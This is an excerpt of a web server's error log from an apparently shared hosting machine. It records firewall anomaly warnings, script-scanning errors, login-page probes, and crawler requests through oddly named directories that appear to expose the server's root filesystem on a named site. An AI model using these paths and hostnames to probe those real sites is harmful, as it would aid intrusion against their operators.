"capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/high-endemic-diseases-outbreaks/www.sample.com"] [unique_id "almnWVh1WDijTxd1xw5RUQAAAAc"]
[Fri Jul 17 09:24:01.420232 2026] [security2:error] [pid 2013797:tid 2013797] [client 200.75.178.240:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/high-endemic-diseases-outbreaks/www.sample.com"] [unique_id "almnWVh1WDijTxd1xw5RUQAAAAc"]
[Fri Jul 17 09:24:01.431402 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:01.506081 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:01.527407 2026] [security2:error] [pid 2013797:tid 2013797] [client 200.75.178.240:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almnWVh1WDijTxd1xw5RUQAAAAc"]
[Fri Jul 17 09:24:01.613784 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:01.661766 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:01.761598 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:01.891251 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:01.951675 2026] [proxy_fcgi:error] [pid 2036488:tid 2036488] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.114460 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.213712 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.319442 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.467616 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.523077 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.573357 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.624997 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.690056 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.789304 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.851340 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:02.960953 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.027838 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.076454 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.123183 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.167988 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.223066 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.286277 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.333356 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.408063 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.457025 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.505136 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.718943 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:03.735303 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:24:03.787903 2026] [cgi:error] [pid 2029866:tid 2029866] [client 20.46.252.52:0] AH02811: stderr from /home/kamechot/public_html/cgi-bin: script not found or unable to stat
[Fri Jul 17 09:24:07.383369 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:49380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:10.766073 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:49798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:12.337661 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46570] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:14.968356 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:46732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:16.994733 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:17.768125 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:46904] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:18.492731 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:46980] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:21.456710 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:21.742361 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:21.784170 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:40756] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:22.008121 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:22.150478 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:22.249616 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:22.362535 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:22.452997 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:22.554394 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/ec/bind
[Fri Jul 17 09:24:22.655212 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:22.756153 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty14/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 09:24:22.963940 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:23.067681 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty4/subsystem/ttyS3/device/driver/uevent
[Fri Jul 17 09:24:23.466932 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty2/subsystem/ttyS3/line
[Fri Jul 17 09:24:23.572537 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:23.733724 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:24.377740 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:24.817742 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:25.188132 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:25.291058 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/ec/bind
[Fri Jul 17 09:24:25.389156 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:25.593734 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:25.805105 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:25.905710 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:26.108942 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:26.189305 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:26.247286 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:26.247376 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:26.392619 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:26.413358 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:26.820831 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:27.024800 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:27.350342 2026] [security2:error] [pid 2019501:tid 2019501] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-global": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-login.php"] [unique_id "almncrEWOaI5pmYo9fnT3gAAAAA"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:24:27.350389 2026] [security2:error] [pid 2019501:tid 2019501] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-ip": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-login.php"] [unique_id "almncrEWOaI5pmYo9fnT3gAAAAA"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:24:27.386934 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:27.469527 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:41030] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:27.629714 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:27.730142 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:27.844108 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty29/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 09:24:27.931423 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/battery/uevent
[Fri Jul 17 09:24:28.235688 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:29.149552 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:29.251737 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:29.452437 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:29.586917 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:41130] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:29.754982 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:29.904995 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:29.957772 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:30.159202 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:30.261998 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:30.608139 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:41184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:30.774511 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:31.172687 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:31.375205 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:31.476389 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:31.577174 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:31.678655 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:31.882954 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:31.984176 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.086537 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.186645 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.231511 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.288126 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.389962 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.490080 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.597024 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.697913 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:32.769121 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:56804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:32.798550 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:33.078898 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:56822] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:33.233160 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.35:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory33/node0/memory88/node0/memory1/subsystem/drivers_probe
[Fri Jul 17 09:24:33.706141 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.116:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory97/node0/memory126/node0/memory138/node0/memory74/"] [unique_id "almneQ5GPQ6hs4VrfMpHXAAAAAY"]
[Fri Jul 17 09:24:33.706185 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.116:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory97/node0/memory126/node0/memory138/node0/memory74/"] [unique_id "almneQ5GPQ6hs4VrfMpHXAAAAAY"]
[Fri Jul 17 09:24:35.370326 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:38.587875 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:38.787357 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:39.588045 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:57168] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:40.141338 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:57188] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:40.710169 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:57232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:41.554716 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:41.576378 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:42.451374 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:52610] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:42.517734 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:52624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:43.146886 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.101:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/node0/memory95/subsystem/devices/memory75/subsystem/devices/memory61/subsystem/uevent
[Fri Jul 17 09:24:44.289782 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:52696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:45.654675 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1f/subsystem/drivers/ac/bind
[Fri Jul 17 09:24:45.951604 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/subsystem/drivers/ec/bind
[Fri Jul 17 09:24:46.056590 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1b/subsystem/drivers/ac/bind
[Fri Jul 17 09:24:46.254905 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty58/subsystem/tty1/power/runtime_status"] [unique_id "almnhpBVIrrUwtEhdafWNgAAAAU"]
[Fri Jul 17 09:24:46.254939 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty58/subsystem/tty1/power/runtime_status"] [unique_id "almnhpBVIrrUwtEhdafWNgAAAAU"]
[Fri Jul 17 09:24:46.357210 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:46.458014 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:46.769668 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty57/subsystem/ttyS3/uartclk
[Fri Jul 17 09:24:47.265360 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:47.466113 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:47.568863 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:47.870958 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:47.989423 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.073780 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.178348 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.277015 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.377615 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.480223 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/usbmon/usbmon0/subsystem/usbmon1/device/rescan
[Fri Jul 17 09:24:48.580236 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.683090 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.781471 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:48.985262 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:49.087269 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:49.288187 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:49.363528 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:52972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:49.388812 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:49.514956 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:49.723559 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:49.794591 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:49.896763 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.096489 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.199726 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.298906 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.412657 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.602629 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.725212 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.803493 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:50.891256 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:53048] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:50.920874 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:51.060807 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 47.82.11.23:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/kernel/slab/MPTCP/order, referer: http://www.anandaobauae.org/
[Fri Jul 17 09:24:51.119477 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:53054] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:24:51.207630 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:51.308981 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:51.315044 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:51.319629 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:51.411640 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:51.915031 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:52.127474 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:24:52.330361 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
